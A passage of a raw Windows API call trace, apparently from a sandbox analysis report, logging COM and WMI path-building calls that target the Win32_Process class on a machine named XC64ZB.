Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0113.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d34c0) returned 0x0 [0113.855] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d34c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.855] WbemDefPath:IUnknown:Release (This=0x1b4d34c0) returned 0x3 [0113.855] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0113.855] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0113.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0113.855] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0113.855] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0113.855] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0113.855] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0113.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0a20) returned 0x0 [0113.856] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0113.856] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0113.856] WbemDefPath:IWbemPath:SetText (This=0x1b4b0a20, uMode=0x4, pszPath="") returned 0x0 [0113.856] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0113.856] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0113.856] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0113.856] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.857] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d30e0) returned 0x0 [0113.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0113.859] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d30e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0420) returned 0x0 [0113.859] WbemDefPath:IUnknown:Release (This=0x1b4d30e0) returned 0x0 [0113.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0420) returned 0x0 [0113.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0113.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0113.860] WbemDefPath:IUnknown:AddRef (This=0x1b4b0420) returned 0x3 [0113.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0113.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0113.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d3200) returned 0x0 [0113.860] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3200, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.860] WbemDefPath:IUnknown:Release (This=0x1b4d3200) returned 0x3 [0113.860] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0113.860] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0113.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0113.860] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x2 [0113.860] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x1 [0113.860] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0113.860] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0113.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0420) returned 0x0 [0113.860] WbemDefPath:IUnknown:AddRef (This=0x1b4b0420) returned 0x3 [0113.860] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x2 [0113.860] WbemDefPath:IWbemPath:SetText (This=0x1b4b0420, uMode=0x4, pszPath="") returned 0x0 [0113.861] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0420, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0113.861] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0a20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0113.861] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0420, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0113.861] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0420, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0113.861] WbemDefPath:IWbemPath:SetServer (This=0x1b4b0420, Name="XC64ZB") returned 0x0 [0113.861] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0113.861] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0113.861] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0113.861] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.862] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2f20) returned 0x0 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2f20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0113.862] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2f20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afee0) returned 0x0 [0113.862] WbemDefPath:IUnknown:Release (This=0x1b4d2f20) returned 0x0 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afee0) returned 0x0 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0113.862] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2fa0) returned 0x0 [0113.862] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2fa0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.862] WbemDefPath:IUnknown:Release (This=0x1b4d2fa0) returned 0x3 [0113.862] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0113.862] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0113.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0113.863] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0113.863] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0113.863] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0113.863] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0113.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afee0) returned 0x0 [0113.863] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0113.863] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0113.863] WbemDefPath:IWbemPath:SetText (This=0x1b4afee0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0420, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0113.863] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0420) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0113.863] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0420, uIndex=0x0, pszName="ROOT") returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0113.863] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0420, uIndex=0x1, pszName="CIMV2") returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0420, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0113.863] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b0420, Name="Win32_Process") returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0420, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0420, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0113.863] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0420, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0420, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0113.864] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0113.864] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0113.864] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0113.864] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0113.864] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.865] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d1960) returned 0x0 [0113.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1960, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0113.865] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1960, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af0a0) returned 0x0 [0113.865] WbemDefPath:IUnknown:Release (This=0x1b4d1960) returned 0x0 [0113.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af0a0) returned 0x0 [0113.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0113.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0113.865] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0113.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0113.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0113.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d1e60) returned 0x0 [0113.865] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1e60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, 